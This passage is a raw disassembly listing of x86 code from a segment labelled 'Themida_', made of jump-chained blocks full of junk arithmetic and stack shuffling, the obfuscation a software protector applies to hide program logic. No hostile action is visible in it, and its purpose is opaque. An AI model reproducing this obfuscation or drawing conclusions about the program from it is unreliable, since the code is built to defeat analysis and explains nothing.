jmp loc_569695
; ---------------------------------------------------------------------------
loc_56E720: ; CODE XREF: Themida_:00569E75j
pop eax
shl eax, 5
xor eax, 0DEC6EDDh
or eax, 4A8F7E55h
sub esp, 4
mov [esp], ebx
mov ebx, 5AD36CAFh
xor ebx, 0C8A3D611h
sub eax, ebx
jmp loc_562F36
; ---------------------------------------------------------------------------
loc_56E749: ; CODE XREF: Themida_:0056B841j
add edx, edi
sub edx, 46FC75C5h
add edx, 42AB6C9Fh
push dword ptr [esp]
pop edi
add esp, 4
xchg edx, [esp]
pop esp
jmp loc_56961A
; ---------------------------------------------------------------------------
loc_56E76A: ; CODE XREF: Themida_:00569352j
add edx, 4
jmp loc_5729EC
; ---------------------------------------------------------------------------
loc_56E775: ; CODE XREF: Themida_:0056C7E0j
pop esp
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55D8CA
; ---------------------------------------------------------------------------
loc_56E787: ; CODE XREF: Themida_:005609A3j
mov esi, [esp]
add esp, 4
loc_56E78D: ; CODE XREF: Themida_:0057120Cj
push 46C4h
jmp loc_566D4E
; ---------------------------------------------------------------------------
loc_56E797: ; CODE XREF: Themida_:0055F3B3j
pop eax
add edi, ecx
add edi, 60DD1DD9h
jmp loc_571A63
; ---------------------------------------------------------------------------
loc_56E7A5: ; CODE XREF: Themida_:00564A65j
add esp, 4
add eax, 4
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_55F573
; ---------------------------------------------------------------------------
loc_56E7C1: ; CODE XREF: Themida_:0055D635j
push ecx
push ebp
push edi
push ecx
mov ecx, 27B565D1h
shl ecx, 5
jmp loc_566E41
; ---------------------------------------------------------------------------
loc_56E7D2: ; CODE XREF: Themida_:00571E6Cj
mov ebp, 3F3B000Dh
add [esp+8], ebp
pop ebp
jmp loc_56839C
; ---------------------------------------------------------------------------
loc_56E7E1: ; CODE XREF: Themida_:00569245j
pop di
shr dx, 6
jmp loc_565650
; ---------------------------------------------------------------------------
loc_56E7EC: ; CODE XREF: Themida_:0056425Bj
pop esp
add ebx, 1FBC5A7Dh
add ebx, eax
sub esp, 4
mov [esp], eax
push edi
push 41A4490Eh
pop edi
xor edi, 24973A30h
mov eax, edi
pop edi
push edi
mov edi, 37022956h
shr edi, 1
sub edi, 0F89F9E2Dh
jmp loc_562F74
; ---------------------------------------------------------------------------
loc_56E81E: ; CODE XREF: Themida_:005701C5j
pop ebp
jmp loc_564AA5
; ---------------------------------------------------------------------------
loc_56E824: ; CODE XREF: Themida_:00565FB3j
push ebx
jmp loc_55F0AA
; ---------------------------------------------------------------------------
loc_56E82A: ; CODE XREF: Themida_:0056704Cj
pop edx
add esp, 4
jmp loc_55DA9C
; ---------------------------------------------------------------------------
loc_56E833: ; CODE XREF: Themida_:005729F0j
push dword ptr [esp+4]
mov edx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_56D371
; ---------------------------------------------------------------------------
loc_56E84D: ; CODE XREF: Themida_:00563DDFj
sub esi, eax
pop eax
add esi, edi
add esi, 63F63B8Dh
add esi, 4C6702A6h
jmp loc_570EF4
; ---------------------------------------------------------------------------
loc_56E863: ; CODE XREF: Themida_:005602BFj
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56E872: ; CODE XREF: Themida_:00568360j
pop edx
push ebp
mov ebp, 61385326h
push ebp
jmp loc_566476
; ---------------------------------------------------------------------------
loc_56E87F: ; CODE XREF: Themida_:0056BF88j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_56E1D2
; ---------------------------------------------------------------------------
loc_56E89E: ; CODE XREF: Themida_:0055F939j
pop esi
jmp loc_56FFB2
; ---------------------------------------------------------------------------
loc_56E8A4: ; CODE XREF: Themida_:0055D61Cj
push edi
xchg ebp, [esp]
not ebp
xchg ebp, [esp]
pop edi
push esi
mov esi, 54D71925h
jmp loc_562548
; ---------------------------------------------------------------------------
loc_56E8B9: ; CODE XREF: Themida_:005603BEj
mov edx, ebp
pop ebp
jmp loc_5661BF
; ---------------------------------------------------------------------------
loc_56E8C1: ; CODE XREF: Themida_:0056259Cj
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
push eax
mov eax, 4
loc_56E8DD: ; CODE XREF: Themida_:00549CF4j
sub edx, 2E354C7Dh
add edx, eax
push ecx
jmp loc_560D70
; ---------------------------------------------------------------------------
loc_56E8EB: ; CODE XREF: Themida_:0056BBBEj
add edi, 358B737Fh
add edi, 7327BE5h
add edi, edx
sub edi, 7327BE5h
sub edi, 358B737Fh
pop edx
push ebp
mov ebp, 69BE2F74h
jmp loc_56DD9C
; ---------------------------------------------------------------------------
loc_56E911: ; CODE XREF: Themida_:005695E7j
mov eax, ebp
pop ebp
dec eax
shl eax, 3
sub eax, 0FFFFFFFFh
sub eax, 0F4ACB22h
sub ebp, 5F2C441Ah
sub ebp, eax
add ebp, 5F2C441Ah
pop eax
mov eax, ebp
push dword ptr [esp]
jmp loc_56AB94
; ---------------------------------------------------------------------------
loc_56E939: ; CODE XREF: Themida_:0056DD7Fj
or esi, 30481F75h
push ebx
mov ebx, 7A4513DAh
neg ebx
inc ebx
not ebx
sub ebx, 137E7116h
add ebx, 0F6FB87A7h
or esi, ebx
pop ebx
dec esi
jmp loc_56936A
; ---------------------------------------------------------------------------
loc_56E95F: ; CODE XREF: Themida_:00567084j
shl eax, 4
push esi
mov esi, 4A355857h
sub eax, esi
pop esi
jmp loc_55EE64
; ---------------------------------------------------------------------------
loc_56E970: ; CODE XREF: Themida_:0055DF62j
mov esp, [esp]
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
sub [esp], eax
pushf
jmp loc_5722B6
; ---------------------------------------------------------------------------
loc_56E988: ; CODE XREF: Themida_:005642FDj
add esp, 4
push ecx
push 7372h
mov [esp], ebp
mov ebp, 8FF3CCAh
jmp loc_570C56
; ---------------------------------------------------------------------------
loc_56E9A1: ; CODE XREF: Themida_:0055E4FCj
mov ebp, 4
add ecx, 5E7967C9h
add ecx, ebp
push eax
push 468B6D9Dh
pop eax
jmp loc_56C109
; ---------------------------------------------------------------------------
loc_56E9BA: ; CODE XREF: Themida_:0056555Bj
push eax
mov eax, 0B984069h
add eax, 24B95860h
inc eax
and eax, 41072A92h
jmp loc_55F8BA
; ---------------------------------------------------------------------------
loc_56E9D0: ; CODE XREF: Themida_:0056EB54j
xor ebp, ecx
pop ecx
add edi, ebp
pop ebp
shl edi, 1
sub edi, 0AC3B2CCAh
xor edi, 156E7718h
jmp loc_55DF19
; ---------------------------------------------------------------------------
loc_56E9E9: ; CODE XREF: Themida_:0056BB61j
shl ebp, 8
and ebp, 61F86C75h
xor ebp, 50435D76h
jmp loc_56E2AC
; ---------------------------------------------------------------------------
loc_56E9FD: ; CODE XREF: Themida_:00565C4Bj
sub ebx, eax
add ebx, 314C5C30h
mov eax, [esp]
push ebp
mov ebp, esp
jmp loc_56AC3A
; ---------------------------------------------------------------------------
loc_56EA10: ; CODE XREF: Themida_:005701CBj
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
jmp loc_5645CD
; ---------------------------------------------------------------------------
loc_56EA1F: ; CODE XREF: Themida_:00572896j
pop ecx
jmp loc_55EEE7
; ---------------------------------------------------------------------------
loc_56EA25: ; CODE XREF: Themida_:00569AC3j
mov ebx, edx
pop edx
mov eax, [esp]
push 78DBh
jmp loc_5646C2
; ---------------------------------------------------------------------------
loc_56EA35: ; CODE XREF: Themida_:0055E8CEj
add esp, 4
jmp loc_567664
; ---------------------------------------------------------------------------
loc_56EA3D: ; CODE XREF: Themida_:00568C4Bj
push ebp
jmp loc_56CF42
; ---------------------------------------------------------------------------
loc_56EA43: ; CODE XREF: Themida_:0055DFE1j
mov esi, 78743BB7h
push 139Eh
mov [esp], edi
jmp loc_5646A3
; ---------------------------------------------------------------------------
loc_56EA55: ; CODE XREF: Themida_:00560742j
pop dword ptr [esp]
mov esp, [esp]
or [esp], ax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56EA65: ; CODE XREF: Themida_:005667C8j
add edx, 4
jmp loc_561DF2
; ---------------------------------------------------------------------------
loc_56EA70: ; CODE XREF: Themida_:00565BD4j
mov esi, ebx
pop ebx
inc esi
xor esi, 7C52A9A5h
xor edi, esi
jmp loc_564EBE
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
mov esi, esp
push ebx
mov ebx, 4
add esi, ebx
pop ebx
jmp loc_566AAA
; ---------------------------------------------------------------------------
loc_56EA96: ; CODE XREF: Themida_:00566978j
pop dword ptr [esp]
push 7A55h
jmp loc_562211
; ---------------------------------------------------------------------------
loc_56EAA3: ; CODE XREF: Themida_:0056232Cj
mov [esp], edi
push 72A9h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55E37F
; ---------------------------------------------------------------------------
loc_56EABA: ; CODE XREF: Themida_:0056508Cj
mov ebp, 42AC5CE0h
xor ebp, 34156AB5h
push ebp
not dword ptr [esp]
pop ebp
add ebp, 76B93658h
add edi, ebp
pop ebp
push 30C9h
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_56E192
; ---------------------------------------------------------------------------
loc_56EAEB: ; CODE XREF: Themida_:00568469j
push ebp
mov ebp, 7F69F7h
jmp loc_5670F8
; ---------------------------------------------------------------------------
loc_56EAF6: ; CODE XREF: Themida_:0056A67Cj
xor ah, 5
inc ah
jmp loc_561647
; ---------------------------------------------------------------------------
loc_56EB00: ; CODE XREF: Themida_:0056A492j
pop dword ptr [esp]
jmp loc_568177
; ---------------------------------------------------------------------------
loc_56EB08: ; CODE XREF: Themida_:0056CD44j
sub al, 0DCh
sub al, cl
add al, 0DCh
push ecx
jmp loc_570BFF
; ---------------------------------------------------------------------------
loc_56EB14: ; CODE XREF: Themida_:005715E6j
push ecx
push ebx
jmp loc_564E24
; ---------------------------------------------------------------------------
loc_56EB1B: ; CODE XREF: Themida_:0056E607j
mov dh, al
mov cl, dh
jmp loc_56DA2E
; ---------------------------------------------------------------------------
loc_56EB24: ; CODE XREF: Themida_:005692C8j
add ebx, eax
sub ebx, 72E34957h
pop eax
jmp loc_56F521
; ---------------------------------------------------------------------------
loc_56EB32: ; CODE XREF: Themida_:005708F0j
and ecx, 5DA05A1Bh
push edx
mov edx, 43ED7D03h
add ecx, edx
pop edx
sub esp, 4
mov [esp], ecx
not dword ptr [esp]
pop ecx
add ecx, 0B0A8AFB6h
jmp loc_56E9D0
; ---------------------------------------------------------------------------
loc_56EB59: ; CODE XREF: Themida_:0056A2B3j
pop edi
jmp loc_56D3D5
; ---------------------------------------------------------------------------
loc_56EB5F: ; CODE XREF: Themida_:0055E607j
add ecx, 332A7E46h
or ecx, 4554265Ah
xor ecx, 57156F79h
jmp loc_570D90
; ---------------------------------------------------------------------------
loc_56EB76: ; CODE XREF: Themida_:0056520Fj
not edi
and edi, 680E6B96h
sub edi, 2E757AD7h
add edi, 1E5559ABh
xor edi, 1A937425h
add ebx, edi
jmp loc_564BC4
; ---------------------------------------------------------------------------
loc_56EB97: ; CODE XREF: Themida_:0056283Cj
mov [esp], ebx
mov ebx, 235F9208h
xor eax, ebx
mov ebx, [esp]
jmp loc_572A45
; ---------------------------------------------------------------------------
loc_56EBA9: ; CODE XREF: Themida_:005633B2j
pop eax
add dl, bl
pop ebx
and dl, 2Ch
jmp loc_570651
; ---------------------------------------------------------------------------
loc_56EBB5: ; CODE XREF: Themida_:0055F633j
mov edx, esp
jmp loc_564A09
; ---------------------------------------------------------------------------
loc_56EBBC: ; CODE XREF: Themida_:00569D7Dj
add ecx, 4
sub esp, 4
mov [esp], esi
push edx
mov edx, 0CCC7E41h
shr edx, 1
xor edx, 2A920CECh
mov esi, edx
mov edx, [esp]
add esp, 4
xor esi, 612C52BEh
push esi
neg dword ptr [esp]
jmp loc_568751
; ---------------------------------------------------------------------------
loc_56EBED: ; CODE XREF: Themida_:00561FDAj
shl esi, 2
push eax
mov eax, 62DD7574h
xor eax, 4DB9EFBCh
add esi, eax
jmp loc_56DEC2
; ---------------------------------------------------------------------------
loc_56EC02: ; CODE XREF: Themida_:00570FE8j
pop ebp
push ecx
mov ecx, 0F4B76BEh
sub edi, ecx
jmp loc_560654
; ---------------------------------------------------------------------------
loc_56EC10: ; CODE XREF: Themida_:0056D9B2j
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
and eax, ecx
push dword ptr [esp]
mov ecx, [esp]
jmp loc_570AA9
; ---------------------------------------------------------------------------
loc_56EC2C: ; CODE XREF: Themida_:0057118Bj
push 5D1E6AF9h
pop esi
xchg ebx, esi
xchg edx, ebx
not edx
xchg edx, ebx
xchg ebx, esi
dec esi
sub esi, 6A8B6E45h
push ebx
jmp loc_567D09
; ---------------------------------------------------------------------------
loc_56EC49: ; CODE XREF: Themida_:005668BCj
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push 837h
mov [esp], ebp
jmp loc_567A0C
; ---------------------------------------------------------------------------
loc_56EC66: ; CODE XREF: Themida_:0055F4D3j
sub ebx, 632D725Ch
mov esi, [esp]
add esp, 4
jmp loc_5621F3
; ---------------------------------------------------------------------------
loc_56EC77: ; CODE XREF: Themida_:0056728Aj
add ebp, 4083251Dh
xor ebp, 35DB3363h
shl ebp, 5
shr ebp, 6
jmp loc_570D1F
; ---------------------------------------------------------------------------
loc_56EC8E: ; CODE XREF: Themida_:0056DECCj
push ecx
mov ecx, 246B4865h
or ecx, 283A4D3Bh
or ecx, 386F25ABh
push ebp
mov ebp, 27940E3Ah
dec ebp
jmp loc_5688DC
; ---------------------------------------------------------------------------
loc_56ECAC: ; CODE XREF: Themida_:0056B564j
push ebp
jmp loc_55DB8D
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_561FBA
; ---------------------------------------------------------------------------
loc_56ECBB: ; CODE XREF: Themida_:0056C645j
pop esp
mov [esp], edi
push 522Ah
mov [esp], ebx
mov ebx, 0
push eax
push 73ECh
mov [esp], esp
jmp loc_57223D
; ---------------------------------------------------------------------------
loc_56ECDA: ; CODE XREF: Themida_:0056AF85j
add ebp, 4
xchg ebp, [esp]
pop esp
sub edx, 6613B46h
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56ECEF: ; CODE XREF: Themida_:00564DE0j
mov eax, [esp]
jmp loc_55F20A
; ---------------------------------------------------------------------------
loc_56ECF7: ; CODE XREF: Themida_:00567C32j
push edi
jmp loc_56B213
; ---------------------------------------------------------------------------
loc_56ECFD: ; CODE XREF: Themida_:00565609j
pop ebx
add ebx, 20ED5DD1h
jmp loc_570F70
; ---------------------------------------------------------------------------
loc_56ED09: ; CODE XREF: Themida_:0056C5DFj
pop esp
pop eax
sub eax, 52596E99h
pop edx
or eax, 7B290C3Eh
shr eax, 5
neg eax
shr eax, 2
push edi
mov edi, 227614B1h
shl edi, 2
inc edi
neg edi
jmp loc_5622C8
; ---------------------------------------------------------------------------
loc_56ED2F: ; CODE XREF: Themida_:00568233j
add ebx, 17814D51h
jmp loc_5651F5
; ---------------------------------------------------------------------------
loc_56ED3A: ; CODE XREF: Themida_:00569AABj
mov eax, 13001627h
mov esi, eax
jmp loc_564B0E
; ---------------------------------------------------------------------------
loc_56ED46: ; CODE XREF: Themida_:00572623j
pop esi
add eax, edx
pop edx
sub eax, 631B5371h
mov ebp, [esp]
push edx
jmp loc_5716E8
; ---------------------------------------------------------------------------
loc_56ED58: ; CODE XREF: Themida_:005625BDj
pop edx
and ebp, eax
pop eax
jmp loc_57195C
; ---------------------------------------------------------------------------
loc_56ED61: ; CODE XREF: Themida_:0056E114j
mov edx, [esp]
add esp, 4
sub edx, 71E34C25h
sub edx, ebx
add edx, 71E34C25h
push dword ptr [esp]
pop ebx
push ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, 4
add ebp, esi
pop esi
jmp loc_562A36
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56ED9B: ; CODE XREF: Themida_:0056F56Aj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_56FF87
; ---------------------------------------------------------------------------
loc_56EDAF: ; CODE XREF: Themida_:00566491j
push edi
add dword ptr [esp], 37E9004Dh
pop esi
sub esi, 37E9004Dh
mov edi, [esp]
add esp, 4
push 19A1h
mov [esp], esi
pop ebx
pop esi
jmp loc_56C4D4
; ---------------------------------------------------------------------------
loc_56EDD3: ; CODE XREF: Themida_:0056DC0Cj
mov [esp], ebp
mov ebp, 4BCC7B50h
inc ebp
sub ebp, 1
xchg edx, ebp
not edx
xchg edx, ebp
add ebp, 4C4C8D0Eh
sub esi, ebp
jmp loc_562F96
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
push edx
jmp loc_5715B4
; ---------------------------------------------------------------------------
loc_56EDFD: ; CODE XREF: Themida_:0055E9F3j
xchg esi, ebx
jmp loc_567A30
; ---------------------------------------------------------------------------
loc_56EE04: ; CODE XREF: Themida_:005669C4j
add ebp, 3DA655C5h
sub ebp, edx
sub ebp, 3DA655C5h
mov edx, [esp]
add esp, 4
jmp loc_572686
; ---------------------------------------------------------------------------
loc_56EE1D: ; CODE XREF: Themida_:0056E0AEj
pop esi
push edx
mov edx, 24C06F4Ah
jmp loc_5648FB
; ---------------------------------------------------------------------------
loc_56EE29: ; CODE XREF: Themida_:0056A7B2j
mov [esp], ebp
push esp
pop ebp
push ecx
mov ecx, 6ECA52A1h
xor ecx, 2EEF55C2h
push edx
mov edx, 4025075Fh
jmp loc_56DFD1
; ---------------------------------------------------------------------------
loc_56EE45: ; CODE XREF: Themida_:0055F0A5j
push esi
push edi
mov edi, 496E37ADh
mov esi, 6A6D6836h
sub esi, edi
jmp loc_56CD04
; ---------------------------------------------------------------------------
loc_56EE58: ; CODE XREF: Themida_:00567C74j
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
sub esp, 4
jmp loc_56DFEB
; ---------------------------------------------------------------------------
loc_56EE70: ; CODE XREF: Themida_:005609F2j
push edx
mov edx, 2C0E3732h
add esi, edx
pop edx
mov ebx, [esp]
add esp, 4
or esi, 162529E5h
push edx
push 24D4h
mov [esp], ebp
mov ebp, 12F82B7Fh
jmp loc_55F1FD
; ---------------------------------------------------------------------------
loc_56EE9B: ; CODE XREF: Themida_:005603D6j
pop eax
xor edi, 7A9D259Ch
sub edx, 30241591h
add edx, 246C10A5h
sub edx, edi
sub edx, 246C10A5h
add edx, 30241591h
jmp loc_56D959
; ---------------------------------------------------------------------------
loc_56EEC1: ; CODE XREF: Themida_:00564795j
push ebp
mov ebp, 3E4A089Eh
shr ebp, 2
shr ebp, 8
dec ebp
dec ebp
jmp loc_5628F6
; ---------------------------------------------------------------------------
loc_56EED4: ; CODE XREF: Themida_:00566A31j
mov esi, 3C1F7F57h
sub eax, esi
pop esi
sub eax, ebp
jmp loc_564FB1
; ---------------------------------------------------------------------------
loc_56EEE3: ; CODE XREF: Themida_:0056AB87j
mov esp, [esp]
or [esp], al
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56EEEF: ; CODE XREF: Themida_:00571E55j
push eax
jmp loc_564A24
; ---------------------------------------------------------------------------
loc_56EEF5: ; CODE XREF: Themida_:0056A582j
mov esp, [esp]
jmp loc_55F17F
; ---------------------------------------------------------------------------
loc_56EEFD: ; CODE XREF: Themida_:0056FCA0j
xor esi, [esp]
mov esp, [esp]
idiv cl
movzx cx, ah
jmp loc_56DA94
; ---------------------------------------------------------------------------
loc_56EF0E: ; CODE XREF: Themida_:0056C828j
pop ecx
add ecx, edi
pop edi
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_55F7C8
; ---------------------------------------------------------------------------
loc_56EF27: ; CODE XREF: Themida_:00566B61j
push dword ptr [esp+4]
mov edi, [esp]
push edx
mov edx, esp
push esi
push edi
mov edi, 4805599h
neg edi
jmp loc_55FAAA
; ---------------------------------------------------------------------------
loc_56EF3F: ; CODE XREF: Themida_:00568707j
sub ebx, 4
xchg ebx, [esp]
jmp loc_568C56
; ---------------------------------------------------------------------------
loc_56EF4A: ; CODE XREF: Themida_:0055DFFAj
mov ebx, 4
jmp loc_56265A
; ---------------------------------------------------------------------------
loc_56EF54: ; CODE XREF: Themida_:00568B1Bj
push 20BAh
mov [esp], edi
push ecx
jmp loc_5647F1
; ---------------------------------------------------------------------------
loc_56EF62: ; CODE XREF: Themida_:00563950j
mov [esp], ebp
push esp
pop ebp
sub esp, 4
jmp loc_570B77
; ---------------------------------------------------------------------------
loc_56EF72: ; CODE XREF: Themida_:00560A99j
push esi
mov esi, esp
push edi
jmp loc_568C91
; ---------------------------------------------------------------------------
loc_56EF7B: ; CODE XREF: Themida_:005618F3j
sub ebp, 5D7F5E4Dh
mov ecx, [esp]
jmp loc_5617E9
; ---------------------------------------------------------------------------
loc_56EF89: ; CODE XREF: Themida_:0056E498j
sub ecx, 265B4324h
shr ecx, 7
push edx
mov edx, 0FE4C8943h
add ecx, edx
jmp loc_56B2BA
; ---------------------------------------------------------------------------
loc_56EF9F: ; CODE XREF: Themida_:00563572j
mov edi, 4
jmp loc_56BF26
; ---------------------------------------------------------------------------
loc_56EFA9: ; CODE XREF: Themida_:005723FBj
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, esp
jmp loc_55D72C
; ---------------------------------------------------------------------------
loc_56EFBF: ; CODE XREF: Themida_:00570B03j
push ebx
push ebp
push 51E5172Fh
pop ebp
jmp loc_56B25E
; ---------------------------------------------------------------------------
loc_56EFCC: ; CODE XREF: Themida_:00564AB2j
and eax, esi
push dword ptr [esp]
push dword ptr [esp]
mov esi, [esp]
jmp loc_56D056
; ---------------------------------------------------------------------------
loc_56EFDC: ; CODE XREF: Themida_:00564D32j
neg ebp
add ebp, 74466680h
mov ebx, ebp
pop ebp
push edx
mov edx, 5FD54851h
not edx
not edx
sub edx, 0AFDEC46h
jmp loc_5644B9
; ---------------------------------------------------------------------------
loc_56EFFC: ; CODE XREF: Themida_:005711BEj
and eax, ebp
pop ebp
or eax, eax
jz loc_55DE5C
push 7BF0h
mov [esp], ebx
push ebp
mov ebp, 37E6295Bh
mov ebx, 37E62947h
jmp loc_563DA5
; ---------------------------------------------------------------------------
loc_56F01F: ; CODE XREF: Themida_:0055E9D6j
xchg esi, ebp
inc esi
xchg esi, ebp
inc ebp
push edi
mov edi, 28296EDEh
dec edi
and edi, 7A6C6B2Dh
sub edi, 23547734h
add edi, 2461Fh
jmp loc_55DAF7
; ---------------------------------------------------------------------------
loc_56F043: ; CODE XREF: Themida_:0057128Bj
sub ecx, 37F7125Fh
add ebx, ecx
mov ecx, [esp]
add esp, 4
add ebx, 4
jmp loc_56362A
; ---------------------------------------------------------------------------
loc_56F059: ; CODE XREF: Themida_:0055EE85j
push edx
mov edx, 4
jmp loc_5671EF
; ---------------------------------------------------------------------------
loc_56F064: ; CODE XREF: Themida_:00565073j
mov [esp], ecx
mov ecx, 35B755EDh
xor eax, ecx
push dword ptr [esp]
pop ecx
push ebp
jmp loc_55D885
; ---------------------------------------------------------------------------
loc_56F078: ; CODE XREF: Themida_:00571642j
push 62A0h
mov [esp], ebx
push eax
push bx
mov bh, 0B8h
mov ah, bh
pop bx
mov bh, ah
jmp loc_5690E5
; ---------------------------------------------------------------------------
loc_56F090: ; CODE XREF: Themida_:0056DEA6j
mov ecx, ebp
pop ebp
push edi
mov edi, 1C8176FFh
add ebp, edi
pop edi
add ebp, ecx
push edx
mov edx, 1C8176FFh
add ebp, 4B9705CEh
sub ebp, edx
sub ebp, 4B9705CEh
pop edx
push dword ptr [esp]
pop ecx
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push 7DE5h
mov [esp], ebp
push dword ptr [esp+4]
push dword ptr [esp]
pop ebp
add esp, 4
pop dword ptr [esp]
jmp loc_562BC4
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56F0F0: ; CODE XREF: Themida_:00566311j
mov [esp], ebp
push ebx
push 45AD7617h
pop ebx
add dword ptr [esp+4], 6FFC7465h
sub [esp+4], ebx
sub dword ptr [esp+4], 6FFC7465h
pop ebx
mov eax, [esp]
add esp, 4
sub esp, 4
jmp loc_567409
; ---------------------------------------------------------------------------
loc_56F120: ; CODE XREF: Themida_:0056D17Fj
push eax
mov eax, 6634E09h
inc eax
sub eax, 6634E06h
sub esi, eax
pop eax
xor esi, [esp]
jmp loc_56802B
; ---------------------------------------------------------------------------
loc_56F137: ; CODE XREF: Themida_:0055E890j
add eax, 5BFC0DE2h
jmp loc_56B04C
; ---------------------------------------------------------------------------
loc_56F141: ; CODE XREF: Themida_:0056F86Fj
pop edi
jmp loc_56B780
; ---------------------------------------------------------------------------
loc_56F147: ; CODE XREF: Themida_:005614D8j
mov esi, 33102AFFh
and edi, esi
pop esi
shr edi, 6
xor edi, 1FF1546Eh
jmp loc_561A03
; ---------------------------------------------------------------------------
loc_56F15D: ; CODE XREF: Themida_:0054A574j
; Themida_:00561495j
mov esp, [esp]
jmp loc_56D9BF
; ---------------------------------------------------------------------------
loc_56F165: ; CODE XREF: Themida_:00566C12j
mov edi, 61624890h
jmp loc_5671F9
; ---------------------------------------------------------------------------
loc_56F16F: ; CODE XREF: Themida_:00570E0Bj
pop ebp
not ebp
xchg eax, ebp
xor [esp], eax
xor eax, [esp]
xor [esp], eax
push dword ptr [esp]
jmp loc_55F250
; ---------------------------------------------------------------------------
loc_56F184: ; CODE XREF: Themida_:0056F91Fj
mov [esp], esi
mov esi, 59C8200Ch
xor ecx, esi
push dword ptr [esp]
pop esi
push 10B2h
mov [esp], edi
mov edi, esp
push eax
mov eax, 0EA416DAh
add eax, 0F15BE92Ah
add edi, eax
pop eax
jmp loc_56243B
; ---------------------------------------------------------------------------
loc_56F1AF: ; CODE XREF: Themida_:0056C172j
or eax, eax
jz loc_56A3DE
push ebx
push esp
mov ebx, [esp]
jmp loc_56D5EF
; ---------------------------------------------------------------------------
loc_56F1C1: ; CODE XREF: Themida_:00567061j
add edi, 4
xchg edi, [esp]
pop esp
add esp, 4
push ebp
jmp loc_57003E
; ---------------------------------------------------------------------------
loc_56F1D7: ; CODE XREF: Themida_:0055D851j
sub ebx, ecx
xchg ebx, ecx
pop ebx
xchg ecx, esi
xor esi, 0E4A89D82h
mov edi, esi
jmp loc_56A73D
; ---------------------------------------------------------------------------
loc_56F1EB: ; CODE XREF: Themida_:0056AB43j
xchg ebp, [esp]
pop esp
add [esp], al
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56F1F8: ; CODE XREF: Themida_:0056CB9Aj
add esp, 4
jmp loc_5711A6
; ---------------------------------------------------------------------------
loc_56F203: ; CODE XREF: Themida_:0055E09Aj
pop edx
add esp, 4
jmp loc_571D10
; ---------------------------------------------------------------------------
loc_56F20C: ; CODE XREF: Themida_:00572406j
pop ecx
add esp, 4
push ecx
jmp loc_56B80D
; ---------------------------------------------------------------------------
loc_56F219: ; CODE XREF: Themida_:0057008Fj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_567A94
; ---------------------------------------------------------------------------
loc_56F22C: ; CODE XREF: Themida_:0056579Dj
xor edi, edx
mov edx, [esp]
add esp, 4
jmp loc_570A25
; ---------------------------------------------------------------------------
loc_56F239: ; CODE XREF: Themida_:0056301Cj
push esi
mov esi, 24B278A4h
shr esi, 6
dec esi
push edx
mov edx, 526ACD4Fh
sub esi, edx
pop edx
jmp loc_55FD9D
; ---------------------------------------------------------------------------
loc_56F251: ; CODE XREF: Themida_:00560167j
xor edi, 52FA715Ch
jmp loc_56F2B1
; ---------------------------------------------------------------------------
loc_56F25C: ; CODE XREF: Themida_:00567C85j
mov edx, [esp]
jmp loc_56653F
; ---------------------------------------------------------------------------
loc_56F264: ; CODE XREF: Themida_:0056262Cj
mov eax, 4
sub edx, eax
pop eax
xchg edx, [esp]
jmp loc_56756B
; ---------------------------------------------------------------------------
loc_56F274: ; CODE XREF: Themida_:0056986Fj
mov edx, [esp]
jmp loc_56DC11
; ---------------------------------------------------------------------------
loc_56F27C: ; CODE XREF: Themida_:0055E4DEj
pop dword ptr [esp]
mov esp, [esp]
jmp loc_566A8C
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
jmp loc_56B730
; ---------------------------------------------------------------------------
loc_56F292: ; CODE XREF: Themida_:00561B19j
sub edx, edi
sub esp, 4
mov [esp], esi
mov esi, 77402D90h
xor esi, 5622463Fh
jmp loc_56A5D4
; ---------------------------------------------------------------------------
loc_56F2AA: ; CODE XREF: Themida_:00570407j
sub al, 0ABh
jmp loc_56C260
; ---------------------------------------------------------------------------
loc_56F2B1: ; CODE XREF: Themida_:0056F257j
mov edx, edi
pop edi
add edx, ebx
jmp loc_5647AD
; ---------------------------------------------------------------------------
loc_56F2BB: ; CODE XREF: Themida_:0055E0BCj
pop ecx
xchg edi, [esp]
jmp loc_561B1E
; ---------------------------------------------------------------------------
loc_56F2C4: ; CODE XREF: Themida_:00566419j
mov esp, [esp]
movzx ax, byte ptr [eax]
push ebx
mov ebx, esp
push esi
jmp loc_56722D
; ---------------------------------------------------------------------------
loc_56F2D4: ; CODE XREF: Themida_:0056F877j
add esp, 4
xor eax, [esp]
xor [esp], eax
